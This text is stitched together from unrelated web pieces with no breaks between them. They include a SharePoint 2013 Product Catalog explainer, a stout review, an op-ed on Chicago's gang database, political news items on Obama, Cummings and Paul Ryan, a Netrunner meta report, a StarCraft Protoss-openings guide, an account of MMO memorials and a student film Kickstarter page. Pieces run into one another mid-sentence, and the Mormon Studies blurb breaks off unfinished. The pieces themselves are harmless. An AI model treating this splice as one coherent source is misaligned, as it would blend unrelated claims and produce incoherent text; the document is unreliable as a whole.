Turns out once you enable the list or library as a Catalog, the use visiting the site when it is published (Site Collection B) DOES NOT need access to it in Site Collection A. Wow! That is awesome! The Publishing Site will only need to talk to the Search Index that will show the content to the viewer.
This has already convinced me to build any future Intranets, Extranets and Public facing sites this way.
Managed Metadata and the Product Catalog
One of the better benefits of using the Product Catalog in SharePoint 2013 is how well it works with the Term Store, the Managed Navigation and Faceted Navigation. When you create your “Products” which is the lists or libraries you decide to enable and share as a catalog, you can have a Managed Metadata Column that you will use as a “Category” for your items. This is important, as it will then be used to build your Managed Navigation automatically.
What’s fun when we are using this feature is that you actually only have to maintain two pages. Instead of having tons of pages and having to find them, edit page, make our modifications etc… we can work with only two pages.
First, a category page which will show all the “Items” under a selected “Category”.
Then an item page that will show a single item you selected from the Category Page earlier. Since this is all built on Search, your “Category” and “Item” page simply have a Content Search Web Part on them using the URL to fine tune the Search Query it has to do to show you results. Therefore, you only have two pages to maintain that will have different content depending on what you choose to see.
Another way to see it, pretend the Navigation menu is the “Search Box” sending a query to the Content Search Web Part on a page, thus changing the results based on your navigation.
Make sure to use it when migrating to SharePoint 2013
Unfortunately, it is not yet available in Office 365 and I have not seen anything about it coming in the future so far. However, it is ideal in many scenarios and not just for building a “Product” website. There are many more granular options that give you the flexibility to pull from more than one catalog for example. It’s no wonder many redesign their SharePoint architecture when going moving to SharePoint 2013 because Search literally changes everything.
*Update* Don't forget that the Product Catalog is only available On-Premises Enterprise SharePoint. Also I will mention that if you are working with a multilingual site, you will have your work cut out for you.
**Update 2** You can now watch the Product Catalog WebinarIn a prior post, I noted how G-LO and I try to exemplify the great parents that we are by getting our boys together for a little fun on the weekend. On this particular day, while the boys were doing their thing, G-LO and I had an opportunity to try the Moving Parts Batch No. 03 from Victory Brewing Company. In addition to that delightful beer, G-LO had raided his beer fridge and brought over a bottle of Goose Island’s 2014 Bourbon County Stout. I have made it no secret that I loves me some stout, so I was quite pleased that G-LO brought this bottle as well.
Goose Island is a Chicago brewer that started as a single brewpub in 1988. They make some top-notch Craft Beer, but thanks to the legalese of their purchase by Anheuser-Busch InBev in 2011, they are technically no longer a Craft Brewer. G-LO discovered them with his finding of Sofie, a Belgian style farmhouse ale. I fell for them with my first sip of Matilda, a Belgian style pale ale. In addition to Sofie and Matilda, we’ve had their 312 (an urban wheat ale), Harvest Ale, IPA, and The Muddy.
Here’s what they say about their Bourbon County Stout:
Brewed in honor of the 1000th batch at our original Clybourn brewpub. A liquid as dark and dense as a black hole with thick foam the color of a bourbon barrel. The nose is an intense mix of charred oak, chocolate, vanilla, caramel and smoke. One sip has more flavor than your average case of beer.
And now for our review…
ABV : 13.8%
: 13.8% Appearance : Incredibly opaque. Deepest, darkest brown (mahogany?). No froth, but there is a thin bead of tan foam that circles the top.
: Incredibly opaque. Deepest, darkest brown (mahogany?). No froth, but there is a thin bead of tan foam that circles the top. Aroma Limpd : Mince meat pie filling. Lots of dried stone fruit. Fig Newtons (with the trans fats). G-LO : Rich dark chocolate and cocoa notes. Turkish figs [ Editor’s note : this is where I usually go off on G-LO and his reviews. Turkish figs? Really? Not just any figs, but Turkish ones]? Maybe some candied orange peel? Yes and yes! Did I mention some booze? Yes to that too!
Taste Limpd : Boozy… like a beer transitioning to port. A bit of raisin and a big boozy blast in the finish. G-LO : Lightly carbonated. A tad viscous and velvety smooth. “BOOOOZY!” with a healthy hit of alcohol to start things off (“It burns! It burns!”). It’s like drinking melted dark Valrhona chocolate [E ditor’s note : not just any dark chocolate mind you] and chasing it with dried figs [ Editor’s note : Lemme guess, G-LO! Were they Turkish figs?] and candied orange peel. Big delicious flavors abound from start to finish!
The Verdict
Limpd : Wow! I say WOW! What a difference a cask makes. This beer is most definitely not for the faint of heart. Love it!
: Wow! I say WOW! What a difference a cask makes. This beer is most definitely not for the faint of heart. Love it! G-LO: If this beer were a boxer, it would be Joe Louis, the Brown Bomber. It packs a punch and is ohhhhh so satisfying. The smart money says buy this when you see it. It definitely lives up to its reputation!
_________________________________
Many thanks to Miracle Max for gifting us this bottle and to G-LO for sharing this delightful beer and not being his usual selfish bastard self!CHICAGO — On his first day of kindergarten, my son came home and told me that his classmates should be punished because all they did was run around and play instead of listen to the teacher. As he grew up, he played basketball at the Jewish Community Center, was a farmer in the musical “Oklahoma!” and celebrated his Bar Mitzvah at age 13. In the summer, he can be found at a grill, making hot dogs and hamburgers for kids in the neighborhood.
But my son is a teenager and he is black. So he must be in a gang. At least that’s what a white woman wrote in the comment section of a newspaper article that mentioned him. And unfortunately, that’s how Chicago police officers see my son and so many other children like him.
It doesn’t matter that he’s from a good home, with loving parents; all that matters to the white world is his complexion. They don’t see him as my baby boy. They see him as a thug.
He and I constantly fear that one day the Chicago Police Department is going to put him in its gang database, which contains names of 130,000 people suspected of being gang members. If they put your name in it, they aren’t required to notify you. And then if you get stopped by a police officer, there’s a good chance you’re going to end up in jail because it’s so easy for the police to come up with a reason to arrest you. Being in the database can even make it hard to get jobs or professional licenses because employers might find out when they run background checks.Behind the scenes, Obama's support among Republicans grows John Byrne
Published: Wednesday January 14, 2009
Print This Email This Even GOP senator praises Obama's style over Bush's President-elect Barack Obama has quietly been working the halls of Congress in recent weeks -- he's been to Capitol Hill meeting with lawmakers three times since his election.
It appears, according to Congressmembers, that Obama's push is having an effect.
In fact, two "swing vote" senators told a Capitol Hill newspaper in comments published Wednesday that they believe Obama's aggressive wooing of legislators will win him more votes on the Hill. The two, Sen. Ben Nelson (D-NE) and Sen. Olympia Snowe (R-ME), are moderate members of their respective parties and may signal a broader shift in the Capitol.
In comments published Wednesday, Obama received high marks from Republican senators.
Sen. Tom Coburn (R-OK), who worked with Obama on government transparency issues in the Senate, offered Obama unconditional praise.
I think he is sincere all the time, Coburn told Roll Call. I believe it because I know him.
He and his staff have done a good job of reaching out to us, Sen. Lamar Alexander (R-TN) added. I hope his tone is reflected in the Senate Majority Leaders tone.
Sen. Snowe, who generally votes with the Republican caucus but sometimes provides support to Democrats, said Obama's approach differs markedly from Bush's. Bush rarely -- if ever -- appeared on the Hill, and oftentimes when he did it was only for public events, like St. Patrick's Day.
Obama is reaching out early on and setting the tone from the start by which, optimally, he will govern, Snowe remarked.
Everyone wants him to be successful, Alabama senator Jeff Sessions added.
Texas Sen. John Cornyn was more cautious, saying the GOP would known "soon enough," of Obama's sincerity. But Cornyn is tasked with being the GOP's attack dog as chairman of the National Republican Senatorial Campaign Committee -- the equivalent of the Democrats' Sen. Chuck Schumer (D-NY).
Added Cornyn, Im confident that there will be sufficient differences to distinguish Republicans and Democrats as we move forward.
In the House, Roll Call noted in a separate article that Republicans have muted their criticisms of the newly elected president. The paper was careful to note, however, that the Republican effort to leave Obama alone may be part of a carefully orchestrated political calculus.
Republicans best friend right now is Obama because Pelosi ends up getting triangulated, former spokesman for retired House Speaker Dennis Hastert said. If Republicans attack too early and dont give him a chance to govern, we come off as sore losers and lose any credibility that were rebuilding.
Even so, the closely-divided Senate is more important to Obama's legislative agenda, since the Democrats' margin in the House is far greater. Obama's outreach could pay major dividends when he attempts to advance his agenda following his inauguration Jan. 20.Hello and welcome to the Sneakdoor Meta Snapshot for August 2015! These ratings are based on results from the Stimhack and NetrunnerDB Tournament Winning Decklists pages, as well as community discussion. For explanations of various deck archetypes listed here, check out The Big List of Decks.
Since there were a number of large tournaments this month, including several Nationals, these results don’t take Old Hollywood’s impact on the meta into account as there’s not enough data.
Tier Explanation
Due to the nature of Netrunner, tiers aren’t set in stone and player skill is usually the main factor. Tier 1 and 2 often have blurred boundaries depending on the pilot. That said:
Tier 1: The most highly optimised, efficient and consistent decks around. It’s very easy for them to find an oppressively powerful line of play. They will tend to have a clearly defined game plan that can be achieved very consistently, even with less experience piloting the deck. These decks consistently win or place highly in tournaments.
Tier 2: Efficient and powerful, but slightly less consistent than Tier 1 and easier to tech against. They may be more reliant on player skill and familiarity, or not quite as strong in the current meta. Still very competitive, can and will take games off Tier 1 decks.
Tier 3: May be either meta-dependent, difficult to pick up and play or simply much less consistent. These decks can perform very well in the right circumstances, but right now are either missing cards to push them over the edge or just don’t quite stack up against the current best decks. Tier 3 doesn’t mean bad – they’re just not necessarily as universally strong as Tier 1.
CORPORATION
Tier 1
Near Earth Hub Astrobiotics, Near Earth Hub Butchershop, Jinteki: Replicating Perfection Glacier, HB Rush Hybrid, HB FA/Rush
Tier 2
Blue Sun Scorched Earth, Blue Sun Glacier, Jinteki: Personal Evolution flatline, Argus Flatline, Black Knight, Titan FA/Kill
Tier 3
IG Grinder, Biotech, CI Shutdown
NEH continues to hold its position at the top, with several high-profile tournaments being taken down by Astrobiotics. Interestingly, despite the larger numbers of Butchershop builds in Top 8s and 16s, Astrobiotics tends to come out on top. This implies Butchershop carves up Swiss, but is slightly weaker against high level opponents in elimination rounds. Remember when Clot killed Fast Advance and made NBN uncompetitive? Yeah. HB rush builds also performed well, largely due to their fairly strong Kate and Noise matchups and ability to play Never Advance in a taxing remote with Adonis and Eve Campaigns. HB’s strength at the moment seems to be consistency. It lacks the ability to have completely overpowering draws like you’d see in RP or NEH, but can consistently set up a taxing remote, generate absurd amounts of cash and grind out a win.
Jinteki PE and Argus rise to Tier 2 this month as a result of the metagame cycling. PE initially all but disappeared due to the prevalence of Deus Ex, Feedback Filter, Keyhole and I’ve Had Worse. However, since PE dropped off the map many runner decks have removed these tools – leading to a resurgence of the archetype. Another factor is the rise of Faust Noise, which often does not feature I’ve Had Worse. We also saw a resurgence of Weyland Scorch decks, primarily in Blue Sun but also out of Titan and even GRNDL.
Cerebral Imaging Shutdown decks get a nod due to winning some GNKs, but their Noise matchup is bad enough that this probably can’t go above Tier 3 at best in the current metagame. It’s worth noting that all results put up were by extremely strong players.
RUNNER
Tier 1: Prepaid Kate, Faust Noise, Reg-Ass MaxX/Valencia, L4J Whizzard
Tier 2: Andysucker, Leela Desperado, Stealth Andy, Aggro Gabe/Tenma, Chaos Theory Stimshop, other Kate builds, Eater MaxX, Kim, Quetzal e3
Tier 3: Various Geist builds, Combo/Medium dig Anarchs, other Leela, other Eater Anarchs, stealth Hayley, stealth Kit.
The obvious new hotness this month is the meteoric rise of Faust Noise, which was by far the most popular deck around. Along with Prepaid Kate, it thoroughly dominated the tournament scene. Faust provides impressive flexibility and fundamentally changes the nature of taxing servers in combination with Wyldside, Parasite and D4v1d. Much like Astrobiotics and Butchershop though, we do tend to see Prepaid topping slightly more tournaments than Noise despite the punk rocker’s greater presence. Consistency counts.
The other interesting point is that I find it very difficult to put a Criminal deck into Tier 1 these days. Corps are simply more economically resilient and able to play around Siphon and run-based economy, the pillars of Criminal running. Another factor is the popularity of destroyers and Power Shutdown (due to Net Ready Eyes). Since these kinds of decks are designed to hurt Shaper and Anarch levels of tutoring and recursion, Crims simply can’t hold up.
Aggressive decks in general are in a bad place in the current metagame, including Eater MaxX and the various aggro Crim decks. Anarchs and Shapers, in contrast, are just plain strong due to an ability to set up quickly (usually) and have an unstoppable late game. This is reflected in the number of “good stuff” Anarch builds floating around which work in any of several IDs.
Old Hollywood speculation
The big meta shifter this month is undoubtedly Film Critic, having a theoretically massive impact on RP and Butchershop/Midseasons matchups. It remains to be seen whether it can knock these decks out of the top ranks as deckslots are tight. As well as this, Clot was hyped up as completely destroying fast advance not so long ago and look how that turned out. Haarpsichord may yet turn out to be a major player, but both Film Critic and Imp have a significant impact on its ability and both are either widely played or likely to be.
NBN PRESENTS THE OLD HOLLYWOOD AWARDS
THE “LEELA PATEL” AWARD FOR MOST UNDERRATED CARD GOES TO: Faust! Who could have seen this coming.
THE “FOUNDRY” AWARD FOR BEING PRETTY AWESOME BUT PROBABLY NOT QUITE AS GOOD AS THAT OTHER ID, YOU KNOW THE ONE, GOES TO: Haarpsichord Studios! Because 17 influence and ridiculous consistency is a Big Deal.
THE “OAKTOWN RENOVATION” AWARD FOR A NEW AGENDA THAT’S ACTUALLY SITUATIONALLY BETTER THAN NAPD GOES TO: Exploooooode-a-paloooooooza! Because an unavoidable 5 credit swing in Butchershop is great. Yes, Film Critic, I know.
THE “RUNNING IS FOR LOSERS BUT LOOK AT ALL MY STUFF, YOU GUYS” AWARD GOES TO: Anything involving Paparazzi, Data Leak Reversal and Hyperdriver.
AdvertisementsBY: Follow @AlyssaEinDC
Rep. Elijah Cummings (Md.), the top Democrat on the House Oversight Committee, said on Sunday that he and other Democratic lawmakers have to find ways to work with President Donald Trump.
"I think we have to work with him," Cummings told CBS host John Dickerson on "Face the Nation."
"I keep telling people that this is our president for the next four years," Cummings said of Trump.
Cummings told Dickerson that the Trump administration has plans to meet with the Congressional Black Caucus to work on urban issues. He also said that Trump responded to a letter from the Congressional Black Caucus just a few day ago.
"I've got to work with this president, but at the same time there has been nobody tougher on this president than I have," Cummings said.re: debate request and ask the people of Wisconsin and America for help
Mount Pleasant, WI- One week ago, Ryan Solen reached out to Paul Ryan to request a debate to be held before the start of the next session of Congress. Ryan Solen had just become the Democratic nominee to represent Wisconsin’s 1st Congressional District and was looking forward to engaging in this great American campaign tradition. Paul Ryan simply did not respond to Ryan Solen even after Tim Bremel, host of “Your Talk Show” and Operations Manager for WCLO AM-1230 made the generous offer to facilitate, host, and/or moderate a debate between the candidates in the greater Janesville, WI, area, hometown of Paul Ryan. Tim Bremel reported that Paul Ryan’s campaign had a “lukewarm” response which is more of a response than Ryan Solen has received.
Ryan Solen is now making an appeal to the people of the 1st Congressional District, of Wisconsin, and of the United States: ask Paul Ryan why he will not agree to a debate before the next session of Congress. Ask him why he will not even respond to Ryan Solen. Ask him if this is indicative of his obstruction in the House and his refusal to work with other parties. The people can call Paul Ryan’s campaign headquarters in Janesville at 608-754-8099, his Washington, D.C., office at 202-225-3031, or his constituent offices in Janesville at 888-909-RYAN (7926), in Kenosha at 262-654-1901, and in Racine at 262-637-0510.
It has been eight days since the first request was made. The House will be in session again September 6.
About Ryan Solen
Ryan Solen is an Army veteran of the war in Iraq and is seeking to represent Wisconsin’s 1st Congressional District. He is a Digital Forensic Specialist and Computer Security Analyst. He is a married father of four and enjoys reading, writing, doing karate with his family, and relieves stress with his vintage Lego collection.
He is the Wisconsin Democratic Party’s Nominee to run for the U.S. House of Representatives to replace Paul Ryan. For more information, please visit www.solenforcongress.com.Protoss has many variations in their openings. But the most standard openings are the Gateway opening, Forge opening and the Nexus first opening. A Nexus first and a Gateway first opening can easily be abused by Zerg if he drone scouts, whereas a Forge first puts the ball in Protoss' court.
Nexus first
This is by far the easiest opening to play against in the early game. It delays pressure for the longest time of all the openings and you are pretty much free from getting cannonrushed before your pool finishes. Nexus first also allows for some really harsh natural blocks with a Hatchery, forcing the Protoss into a late forge and extra cannons to get rid of it. What the Protoss generally wants to do when opening Nexus first is go for Nexus - Forge - Gateway - Cannon.
Nexus first characterises itself by having their natural void of Probes for a long time. Since the collection of minerals takes even longer than a Hatch first opening, you can be pretty sure the Protoss is going to go for a fast Nexus strategy when you are going for your natural and still not notice a Forge building in the Protoss' natural. Because of the delay on the Forge, the only way the Protoss can hope to deny a Hatch first is to build a pylon there or to just keep on blocking with the Probe to stall for time, but that delays his Nexus as well.
If the Protoss doesn't pylon block your Hatchery, it won't really matter if he gets his Nexus up right after your Hatchery. You will have to look out for his next building, because if he sees no aggression will come in, he might decide for a quicker tech route and go Gateway before Forge. This is great for you since you can take an even greedier third base due to the lack of cannonrushing possibilities. Most Protosses however will stick to the regular follow up, Forge, Gateway, Cannon.
Hatch blocking
When your natural does get pylon blocked however, you decide to go for a Hatchery block in retaliation. Dropping down a Hatchery into the Protoss' natural and then taking a Spawning pool after to deal with the pylon in your natural. This play will throw off the Protoss' build completely and force him to go for a later Forge and two Cannons to get rid of the block. If the Protoss decides to be greedy and only build one Cannon, your Hatchery will finish up and spread creep out, delaying the Protoss even further. Getting a Queen out and putting a creep tumour behind his natural mineral line ( as far away from the cannon detection range as possible ) will put the Protoss in a completely all in position. But in the situations where the correct response of two Cannons made in the natural is executed, you can't get a Queen out in time. Canceling the Hatchery right before it finishes will have delayed the Protoss' Nexus by about one and a half minutes, which is still more than enough to pull the sting out of tight Immortal-Sentry pushes and gives you a return of 225 minerals immediately.
Hatch blocking is generally only really worth it against Nexus first because it messes up their original gameplan up by a lot. Against Forge first openings it is only really a nuisance and will delay your third base for too long to be worth the minerals invested.
Forge opening
This opening is easily the safest route to take. It can be built out in the natural and still provide the neccesary tech to protect your main against early pool builds, and gives Protoss a firm hold on their natural to expand on. It also opens up the possibility of a really early offense in the form of cannonrushes.
A typical macro-oriented Forge opening will go for a Forge - Nexus - Cannon - Gateway in that order. Switching the Gateway around for the Cannon helps the Protoss get a slightly faster tech up, but skimps on initial safety and is at risk at a Zergling runby. A startled Protoss will usually build a Cannon before the Nexus, which delays the tech and the economy by just a tad as a tradeoff to the extra safety against runby's.
Usually the Protoss will skimp on Probe production during the making of the first few buildings with his supply locked around the 18 supply mark, which is roughly a full mineral saturated base. This makes the counting of delay much easier, since according to liquipedia, a fully saturated mineral base gives 672 minerals a minute. We cannot be absolutely sure how delayed a Protoss is because it relies on how well the base was mining and on the mechanics of the Protoss. So for our sanity, rounding down to 600 minerals per minute gives us a much easier time to calculate the delay of aggression, as a second amounts to 10 minerals in that case.
For example, if the Protoss builds a Cannon before a Gateway, we can say that the Protoss has delayed his tech for about 15 seconds. This comes in especially handy versus Cannon rushes, which I will talk about in the upcoming section.
As a tech benchmark, I tend to imagine a Forge, a Cannon and a Nexus being built before the Gateway starts. In this standard kind of opening, the strong Immortal-Sentry all in can move out at 9:30. If a second Cannon is built before the Gateway, with a delay of 15 seconds, that would mean moving out at 9:45. Now this is a very interesting build to remember because it is one of the strongest timing pushes a Protoss can do, much like the 1-1-1 in TvP is. We'll bring that tidbit with us when we examine the delay Cannon rushes cause our Protoss opponent.
Cannon rushes
A Cannon rush has a lot of nuances to it, contrary to what most raging Zergs will believe. The inbase Cannon rush is an easy variant due to creep being readily available for Spinecrawlers to build. It is also the most all in of all of the possible Cannon rushes out there and relies completely on the Zerg not noticing it until it is way too late. This is where a 9 dronescout comes in handy, because you will notice the Probe at your side of the map much earlier.
This Inbase Cannon rush can be easy to deal with as long as you delay the advance of the Cannons with Spinecrawlers and get your natural up. Then once the Protoss has invested way too much in destroying the main, just transfer all your workers over to the natural ( including Spinecrawlers and any other unit you have built ) and defend that. This variant tends to come out so early that his economy and tech is delayed as well, so if you have a large ling force built up from the pressure you can go for a counter attack on his natural and make sure he just doesn't get that up.
Another variant is the third base deny Cannon rush. This also relies on the Zerg not scouting that it is there, because the Spawning pool is generally finished once that pylon goes down behind the third's mineral line. What I do to prevent these shennanigans is send my second overlord over to my third once my natural is secure. You should also always check behind the mineral lines with the drone before you make the Hatchery just to be safe. This is the least all in of all of the Cannon rushes because it tends to start after the Nexus or Gateway has already started, so the Protoss' economy or tech isn't as stunted as it usually is after a Cannon rush.
The most common and most micro-intensive Cannon rush out there is the one that focusses on your natural. It is mostly executed against Hatch first openings due to the later Spawning pool, but it can still be executed against Pool first openings as well since you have to rely on drone micro in both circumstances, albeit a bit longer against Hatch first.
A Cannon rush of this caliber usually starts while the Hatchery in your natural is already building as a reaction to a fast Hatchery. What I like to do in my Hatch first builds is the following:
14 Hatch
Make three more drones
If I see a Forge at his front with my drone scout, send out two drones to chase after the Probe
Build a Spawning pool as soon as 200 minerals are reached
The Probe will usually be planning its dastardly scheme either behind the mineral line or right at the ramp. Your mission here is to stop it from blocking off anything like a Cannon behind the mineral line or a full block on your ramp. While you cannot stop the first pylon from going down, you can do a lot to delay the Cannon from going down. If the first pylon goes down in your natural, don't too greedy to send out an extra two drones, because the Protoss will capitalise that and turn your natural into Cannonopolis.
There are two different responses depending on the placement of the pylon. If the pylon is in front of your ramp, your first and foremost goal is to make sure he cannot wall off your ramp. You HAVE to keep a drone or two in front of the ramp to make sure that does not happen. If you allow it to happen, you have just given the Protoss a free win provided he isn't completely incompetant. Because the Cannon has to be placed out in the open, it is much easier to surround. That's why the real danger is the full block off, the pylons won't die regardless of what you attempt and if you prevent the Protoss from walling you off, rushing out a ton of drones and destroying that Cannon will make you safe. Just make sure that Probe never gets to actually wall you off and you should be fine.
With the pylon behind the mineral line, your drones have a different task at hand. In this moment, the pylon is the strongest point of the rush. Attacking the pylon won't do anything because the Probe will build a Cannon and a second pylon right after anyway. The weakest point is the Probe, at just 40 health, it only takes 8 drone slaps to die. Your main effort should be around trying to take out the Probe, or at the very least, prevent it from getting into range with the pylon to start making Cannons. Having four drones out in your natural and keeping the Probe at bay will delay that rush for critical seconds. Every little bit of time you save by preventing the Probe from getting into range gives your Spawning pool more time to finish. So try and keep the Probe out or even kill the Probe by whatever means possible.
If the Probe slips by your goalie drones, get a few of them behind the mineral line around the pylon to make sure he doesn't wall that space in. It's okay if he places a cannon inside the mineral line, but we shouldn't let him place one behind the mineral line because that again prevents our drones from surrounding it because of the stronger pylons. Once he starts building the first Cannon, don't be afraid to send out even more drones to help defend the rush. In general it is best to attack a building Cannon with four drones, because it kills it before it finishes up, which either forces a cancel out of the Cannon or prevents it from shooting at your drones.
In this stage, micro is everything. You want to prevent blocks behind the mineral line while keeping the Cannons from finishing with squads of four drones. If you have any opertunity at all to surround the Probe, do so to stop the rush cold. If a Protoss really wants to commit to a Cannon rush, he will most likely send another Probe out to make it more difficult to kill off the rush completely, but atleast you will delay extra Cannons from going down then. You are just trying to delay until your Zerglings are out, because once you can get out Zerglings, the Cannon rush is effectively over unless the Protoss already got a block off. You should not lose any drones to Cannons, and if you do let the Cannons finish behind the mineral line, cancel it at the last moment to drain out as much Cannons as possible and reexpand in your third and fourth. It isn't a great position to be in, but it's better than losing the hatchery and being stuck on one base with a late second base.
When the rush is done, you can evaluate the position of the Protoss. With the previous calculations, we can safely say that with each Cannon laid down, the Protoss is delayed by 15 seconds. And each pylon is roughly 10 seconds of delay on the overall build. Of course this isn't 100 percent accurate with all the cancelations going around, but the Protoss does delay all economy and tech while he is still Cannon rushing. This gives you a rough estimate of the timing of hardest two base all in to deal with in the current metagame, the Immortal-Sentry all in, and gives you a decent view of how much you can drone up in the next couple of minutes and still stay safe without much units at all.
A Cannon rush isn't often followed up by fast aggression, so building drones blindly for a couple of rounds is often a great idea rather than to accidentally build a few units that won't do anything but scout a little.
Gateway openings
These openings are a lot different compared to the Nexus and Forge openings. Rather than being a highly economically focussed opening, these openings gets out faster and crisper timings and get tech out much, much faster to trade off for that economy lost. This on itself gives Protoss a very delayed third base and makes him rely on one or two base timings for quite a while.
By it's very nature, the Gateway opening forces the Zerg into a slightly more cautious playstyle with a later third to counteract the many different timing attacks that they possess. The Zerg shouldn't take a third quite as fast as usual until an expand is guaranteed to happen on the Protoss' side of things.
The Gateway openings have been coming back into style slowly, mainly due to Naniwa's GSL matches against DRG. Though the maps have steadily increased in style and have decreased the effectiveness of these openings, there are still a lot of viable Gateway openings out there. Though most rely on a timing attack to force the Zerg into making units instead of droning up the third completely.
The biggest weakness of a Gateway opening is a Hatch first style. Because this opening doesn't have a good way to throw hard pressure at the Zerg, the Protoss is almost forced to pylon block the natural to make sure the Zerg does not get that economy advantage.
One Gateway Expand
This is the most economical of the Gateway openings. There are two slightly different styles for this, either putting the Gateway out in front of the natural like a wall and go for a Nexus straight after. This style generally delays the Forge and Cannons in order to get that tech advantage together with the economic advantage. But this does open up timings for slow lings to be very effective.
The more common style is to get the Cybernetics Core straight after the Gateway with double gas, and then expand once the Protoss has about a Zealot and a Sentry or two out. In most circumstances the Protoss walls off with an additional two Gateways in front of his natural to make him less reliant on forcefields.
You are safe to take a third base if you notice this style, because if he decides to move out too far to deny it, you can surround the army with a lot of Zerglings. A Gateway first opening invests a lot in the early units, especially the Sentries. If he loses them, the Protoss has effectively been delayed in upgrades and other tech and cannot pressure anymore after that unless he is going all in. This allows you to get such an extreme economical advantage that the Protoss has almost no hope of coming back.
Three Gateway Expand
This is the safest expand build out there, because it is nigh impossible to stop the Nexus from going down unless the Protoss messes up completely. The downside to this is that it has a one base economy for even longer than the One Gateway Expand, and if it is not followed up by a two base push, there is almost no way to equalize the Zergs economy for the Protoss.
This has gone way out of style because of the mapsize increasing and the general increase in skill of the Zerg since a year ago. It is simply too uneconomical and relies too much on a transition to a two base all in push or massive damage dealt to the Zergs economy to be viable in long games that involve third bases.Last week, Ben highlighted the latest issue of the Mormon Studies Review. This week the Maxwell Institute gave Mormon Studies geeks even more goodness with the release of the first issue of the newly-revamped Studies in the Bible and Antiquity. You can read Carl Griffin’s overview of the entire issue here, but I wanted |
its mysteries in World of Warcraft. Though the studio was initially silent on its plans, datamined files seem to suggest that when Warlords of Draenor launches later this year, it’ll do so with a memorial to the late comedian in tow. Yet Williams won’t be the first individual to be immortalised in such a way. In fact, MMOs have a long history of celebrating the lives of those we’ve lost, because they’re more than games to many of those who play them.
Exit Theatre Mode
“MMOs are very much about people,” World of Warcraft game director Tom Chilton told me when I sat down with him recently. “The people you play with: that’s what makes MMOs special. Because it feels like a living and breathing world, you’re not just a visitor. You spend a lot of time in it and you really come to call it home. So creating these memorials in the world carries more weight and meaning than it would in a more transient game.”
That’s why people want to see Williams remembered in these games, and that’s why similar moves have proved so helpful in providing closure for online communities in the past. While we don’t know for certain what shape Williams’ online memorial will take, we do know how others have been commemorated in the past. The list of in-game MMO memorials is long - too long to cover in full here - but we whittled down six of the most moving in a bid to show the true power of such a gesture.
City of Heroes – Coyote
When the sun set on Paragon City in late 2012 and heroes from around the globe were forced to hang up their capes for the last time, there was a great deal of mourning. Of all that was lost, however, one of the most poignant things has to be the in-game tribute to Matthew Bragg, a CoH fan who unfortunately passed away shortly after the game’s original release.
In life, Bragg had been one of the first pre-beta members on the official City of Heroes boards, posting under the moniker of Kiyotee. Always friendly and helpful to new recruits, it was only fitting following his death that members of the development team decided to add a new NPC to the world in order to commemorate him.
The NPC superhero Coyote, who also bore the real name of Matthew Bragg, was Old Man Coyote’s avatar on earth, and found in the tutorial zone where he had a chance to kindly share his wisdom with newcomers long after his namesake was no longer able to do so. Though City of Heroes may be gone, memories of Coyote and the other heroes met along the way will undoubtedly live in the minds of Paragon’s denizens for some time to come.
Guild Wars 2 – Oldroar
For those unaware of how MMO communities operate, it’s not unusual to see groups of gamers that play together in one title all move to set up shop together in a new one when it’s released. Roger “Oldroar” Rall was one of the leading officers of Gaiscioch, a Celtic-themed guild originally founded during Dark Age of Camelot, though since making its presence known in titles such as Warhammer Online, Rift and The Elder Scrolls Online.
The run-up to Guild Wars 2 was accompanied by a massive storm of hype, with more than a few sites and guilds expecting it to be a genre-revolutionising title that would usher in a new Golden Age for MMOs. Rall was no exception, making plans for what challenges he’d help lead his fellow guildmembers through once the gates to Tyria officially opened.
Tragically, such a thing was not meant to be. Roger passed away suddenly before Guild Wars 2 launched, never getting the chance to explore ArenaNet’s MMO. Not content to let such a travesty pass unmourned, Oldroar’s guildmates wrote to the developer in their droves, begging the studio to acknowledge what had happened. One such tactic even saw Gaiscioch send wave after wave of cookies to ArenaNet’s offices in a bid to alert the studio.
Whether it was the baked goods that sealed the deal or the power of Oldroar’s story was enough on its own we may never know, but ArenaNet agreed that Roger should be commemorated. And so, it established a new Guild Wars 2 server called Sanctum of Rall, and it’s here the members of Gaiscioch can be found to this day.
Explaining why this option was taken, game director Colin Johanson reveals, “We talked about a lot of ideas, at the time we were right in the middle of naming a lot of the worlds for the game and so we felt one of the best things we could do was to name a world after him, especially because one of the areas he really felt he could help make a difference for the community was in World vs World. So we moved quickly, named it, and ever since it’s been one of the most popular worlds in GW2. For a long time it was one of the top worlds in WvW and I love we have a world with that history and hopefully we’re doing him proud.”
Additionally, ArenaNet added an NPC in the Charr capital of the Black Citadel called Historian Goshkia (which is a pronounced the same way as Gaiscioch and pictured above), who tells the story of an ancient Charr tribune known for his leadership. He was never defeated in battle, winning countless campaigns before retiring to teach others, and eventually passing away peacefully. His name? Rall Oldroar.For more information such as "Meet The Team", visit the updates tab for more!
What are we doing?
I know...I know. This is pretty big. But Kickstarter is a great way to raise the funds for "Moonage Daydream", with the money we raise, we can make such a great film for you guys!
I've seen so many great things get funded on Kickstarter, from products to some pretty great films such as "Wish I Was Here" by Zach Braff! It's amazing for a film to gather a following so fast and to have so many people who believe in it, and that's what we really want in this film.
The Story
The Script
So, you probably want to know about the story right?
The film starts out with Max, who is walking back late at night from a fairground with his parents Joel & Amy. As they venture out into the darkness, Max notices the stars in all their beauty for the first time and becomes infatuated with them.
Three years pass and in this time, Joel & Amy's relationship has grown sour, through years of growing apart and other stresses that families go through, and yet, Max's love for the stars is still strong.
Once Max gets the opportunity to go a space camp advertised by his school, his parents reluctantly have to tell him he can't go, due to financial difficulties within the family.
We then follow Max as he tries to raise the funds himself, whilst dealing with his parent's marriage that is crumbling around him. Max will soon realise that money cannot buy him happiness.
Pre-Visualization
We're currently working with some great Production Designers who can help us design how we want the film to look, by the end of our pre-production stage, they will already have a better idea of how the sets should look than us! Not only that but they will be maintaining and making our sets look amazing with their idea's of how it should look!
One of our Production Designers, Sophie Louise Cowdrey worked with our Director of Photography, Connor J Travis-Hunter to create this amazing design of how Max's bedroom could look in the film.
Max's Bedroom
We also got some concept character design done by Cheyenne Hughes, pictured below!
Character Design
Our Director of Photography, Connor, also created this image as a reference for the opening of Moonage Daydream.
Opening Scene Art
Cinematography
We've got Connor J Travis-Hunter in to shoot the film, I've worked with him before on other short films and we have a really good working dynamic. The last film we worked on together was Elliott Diablo, which was a great success and since then he has gone on to help out on such sets as Doctor Who.
Studio Test Shots
Production Designers
As part of our university course, we had the chance to meet with a lot of Production Designers, many of which wanted to work on Moonage Daydream, in the end, we ended up with five eager designers ready to work on and give input into the film!
They're all really talented and we're really glad we have them on board to make this an amazing film.
The Money
Budget Break Down
